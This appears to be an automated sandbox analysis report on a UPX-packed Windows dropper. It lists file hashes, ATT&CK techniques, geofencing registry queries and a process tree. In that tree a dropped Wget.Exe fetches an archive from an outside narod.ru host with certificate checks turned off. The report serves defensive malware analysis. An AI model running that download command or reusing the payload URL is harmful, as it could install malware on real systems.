11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/08/2026, 14:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe
Size 470KB
Sample260827-rc8paswbrd
SHA256 11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39
MD5 c8eaabb67f259ce61136f808fbd0d34e
SHA1 4ab28869fbe91935ba209e0a9715e7320990d4f6
SHA512 17c2b19d8e3a0a064f27232a1a7303f3ce7e43184e691500d0bc29762474a04ee824c54e3f79b02966aaad3d827715bfb7a9b0538c7a6870f8273730fcdca63b
SSDEEP 12288:kZVtEjbJKhLtZynpvqjjgp0oFaH0GJVJNY:kZbEnJKlefJFM0GJ2
TLSH
T10FA42398BA13D79CC3E52E7BC073D5285906E7A2C6C3491F0693F708767E202679B53A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	progL.exe

Executes dropped EXE 2 IoCs

pid	Process
804	progL.exe
1320	Wget.Exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4748-0-0x0000000000400000-0x0000000000429000-memory.dmp	upx
behavioral1/files/0x000700000002457b-8.dat	upx
behavioral1/memory/804-13-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/files/0x000700000002457a-19.dat	upx
behavioral1/memory/1320-21-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral1/memory/1320-22-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral1/memory/1320-23-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral1/memory/804-24-0x0000000000400000-0x0000000000410000-memory.dmp	upx
behavioral1/memory/4748-26-0x0000000000400000-0x0000000000429000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2376	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	progL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Wget.Exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1320	Wget.Exe
1320	Wget.Exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4748	11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 804	4748	11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe	85
PID 804 wrote to memory of 2376	804	progL.exe	86
PID 2376 wrote to memory of 1320	2376	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe
"C:\Users\Admin\AppData\Local\Temp\11086485a4691978301afb25ac747fa4dc6448a8548d7c4e2dcc8b3a266b8b39.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Aida_64\progL.exe
  "C:\Aida_64\progL.exe" -b2epass 0
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\198E.tmp\progL.Bat" "
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Aida_64\Wget.Exe
      Wget.Exe --no-check-certificate http://m01248.narod.ru/prog.7z
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Wget.Exe

Path C:\Aida_64\Wget.Exe
Size 392KB
SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
MD5 bd126a7b59d5d1f97ba89a3e71425731
SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
TLSH
T1518423487A2AD85DCE83CEBB1A65773C663C6010C9E985EE35DCDF483E7A125360389D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

progL.exe

Path C:\Aida_64\progL.exe
Size 22KB
SHA256 a0908d886bbc5952b4fd8e2f119891e8d41c8eb4eccd14600263031d9246feb5
MD5 af8345210c54c2ceec097fd7da69c9d5
SHA1 f92729d17ae8d52e6a37553c4ef0741da3cbbc2f
SHA512 d1d37401e957a1dcb608a959f3cf21370c1a476aeb84342453f32a43bf3048104be51c97fe72f0b6574c5be15bbccb12c46dfa2fa3527c258dc97d9dde015f4a
SSDEEP 384:8qE+wxApYsEHz5WVFtotTFAj3Lx+gO+adlVW8GiSQZdIUQaNJawcudoD7UWOre:8qdYsC5KFtuFY3k+lUeqnbcuyD7UWOr
TLSH
T167A2D097E5918B55C0AA417210BFB20E0458E24BAFCD8B4BF6EC363B6E53B94450CAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

progL.Bat

Path C:\Users\Admin\AppData\Local\Temp\198E.tmp\progL.Bat
Size 132B
SHA256 d54f1868e9da1ee4b7a80da3458b624b868763493d65823a91b41d30faa3335f
MD5 acd22108a3c7e8de3cfe2f00edaa7507
SHA1 45f06f27bd73e60c334a2171a68449d35df5b288
SHA512 33fa5964422371804040f43cac94054d4bb5656ba80c3f2b9b2d3d61793444ce07ba9f0c8689cd0765e6d1bd2e3faed5d43f16e17dfc0e2a0b5506b52df4c307
TLSH
T1DCC0925AD6C6E8438A54A23C7FAA31439CCE12D133914E89BFCA0819E20642C12B2B8D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/804-13-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/804-24-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/1320-21-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/1320-22-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/1320-23-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4748-0-0x0000000000400000-0x0000000000429000-memory.dmp

Download

memory/4748-1-0x0000000000428000-0x0000000000429000-memory.dmp

Download

memory/4748-26-0x0000000000400000-0x0000000000429000-memory.dmp

Download